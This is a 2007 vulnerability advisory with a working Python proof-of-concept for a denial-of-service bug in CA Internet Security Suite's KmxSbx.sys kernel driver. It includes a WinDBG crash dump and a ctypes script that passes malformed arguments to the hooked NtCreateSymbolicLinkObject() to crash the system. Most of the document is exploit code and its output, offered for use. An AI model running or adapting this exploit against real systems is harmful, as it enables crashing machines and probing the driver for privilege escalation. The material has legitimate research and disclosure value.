"""
[05.08.2007]
Computer Associates
Internet Security Suite - NtCreateSymbolicLinkObject() Vulnerability
------------------------------------------------------------------------------

    Version: 3.2.0.7
    Driver version: KmxSbx.sys - 6.0.0.78
        HIPS Registry, Spawning and Devices Guard driver

    Description:
        CA Internet Security Suite fails to validate user-mode provided
        arguments to the hooked function NtCreateSymbolicLinkObject() in
        KmxSbx.sys, which is been executed in kernel-mode.

    Impact: System crash; possible privilege escalation not verified.

    Author: posidron
    
    Download: http://consumerdownloads.ca.com/consumer/apps/0/iss_de_32.exe

    Reference: http://undocumented.ntinternals.net/UserMode/Undocumented%20Functions/NT%20Objects/Symbolic%20Link/NtCreateSymbolicLinkObject.html
    
    System: Windows XP Kernel Version 2600 (Service Pack 2)

    Execution: python CA-NtCreateSymbolicLinkObject.py

-[WinDBG]---------------------------------------------------------------------

MODULE_NAME: KmxSbx

EXCEPTION_CODE: (NTSTATUS) 0xc0000005

FAULTING_IP: 
nt!WmipIsNumber+23
805d6908 8b5104          mov     edx,dword ptr [ecx+4]

TRAP_FRAME:  aa2d3c74 -- (.trap 0xffffffffaa2d3c74)
ErrCode = 00000000
eax=aa2d3d18 ebx=aa598310 ecx=ffffffff edx=aa2d3d18 esi=aa59830e edi=aa2d3d4e
eip=805d6908 esp=aa2d3ce8 ebp=aa2d3cf4 iopl=0         nv up ei ng nz ac pe nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010296
nt!WmipIsNumber+0x23:
805d6908 8b5104          mov     edx,dword ptr [ecx+4] ds:0023:00000003=????????

DEFAULT_BUCKET_ID:  COMMON_SYSTEM_FAULT

STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be wrong.
aa2d3cf4 aa59836e aa2d3d18 ffffffff 00000001 nt!WmipIsNumber+0x23
aa2d3cfc ffffffff 00000001 aa2d3d64 0022fb2c KmxSbx+0xc36e
aa2d3d18 aa2d3d20 0044005c 00760065 00630069 0xffffffff
aa2d3d1c 0044005c 00760065 00630069 005c0065 0xaa2d3d20
aa2d3d20 00760065 00630069 005c0065 00680050 0x44005c
aa2d3d24 00630069 005c0065 00680050 00730079 0x760065
aa2d3d28 005c0065 00680050 00730079 00630069 0x630069
aa2d3d2c 00680050 00730079 00630069 006c0061 0x5c0065
aa2d3d30 00730079 00630069 006c0061 0065004d 0x680050
aa2d3d34 00630069 006c0061 0065004d 006f006d 0x730079
aa2d3d38 006c0061 0065004d 006f006d 00790072 0x630069
aa2d3d3c 0065004d 006f006d 00790072 aa2d0000 0x6c0061
aa2d3d40 006f006d 00790072 aa2d0000 8053ca28 0x65004d
aa2d3d44 00790072 aa2d0000 8053ca28 00000000 0x6f006d
aa2d3d48 aa2d0000 8053ca28 00000000 ffffffff 0x790072
aa2d3d4c 8053ca28 00000000 ffffffff 00000018 0xaa2d0000
aa2d3d58 00000000 ffffffff 0022fb44 7c91eb94 nt!ObpIsUnsecureName+0x5a

------------------------------------------------------------------------------
"""

from ctypes import *


class _OBJECT_ATTRIBUTES(Structure):
    _fields_ = [("Length", c_ulong),
                ("RootDirectory", c_int),
                ("ObjectName", c_wchar_p),
                ("Attributes", c_ulong),
                ("SecurityDescriptor", c_void_p),
                ("SecurityQualityOfService", c_void_p)
                ]


def InitializeObjectAttributes(ObjectAttributes,
                               ObjectName,
                               Attributes,
                               RootDirectory,
                               SecurityDescriptor):
    ObjectAttributes.Length                     = sizeof(_OBJECT_ATTRIBUTES)
    ObjectAttributes.RootDirectory              = RootDirectory
    ObjectAttributes.Attributes                 = Attributes
    ObjectAttributes.ObjectName                 = ObjectName
    ObjectAttributes.SecurityDescriptor         = SecurityDescriptor
    ObjectAttributes.SecurityQualityOfService   = None


class Logger(object):
    def __init__(self, logname):
        self.logname = logname

    def __call__(self, message):
        print message
        f = open(self.logname, "w")
        f.write(message)
        f.close()


if __name__ == "__main__":
    log = Logger("ca-iss.txt")
    
    NTDLL = windll.LoadLibrary("ntdll")

    """"
    NTSTATUS
        NtCreateSymbolicLinkObject (
            // Handle to SymbolicLinkObject
            OUT PHANDLE pHandle,
            IN ACCESS_MASK DesiredAccess,
            // Name of SymbolicLinkObject
            IN POBJECT_ATTRIBUTES ObjectAttributes,
            // Name or path to destination object in Object Namespace
            IN PUNICODE_STRING DestinationName
        ); 
    """
    
    log("NtCreateSymbolicLinkObject()")
    ObjectAttributes = _OBJECT_ATTRIBUTES()
    InitializeObjectAttributes(ObjectAttributes, -1, 0, -1, None)
    NTDLL.NtCreateSymbolicLinkObject(c_int(), -1, ObjectAttributes, c_wchar_p("A"*4096))
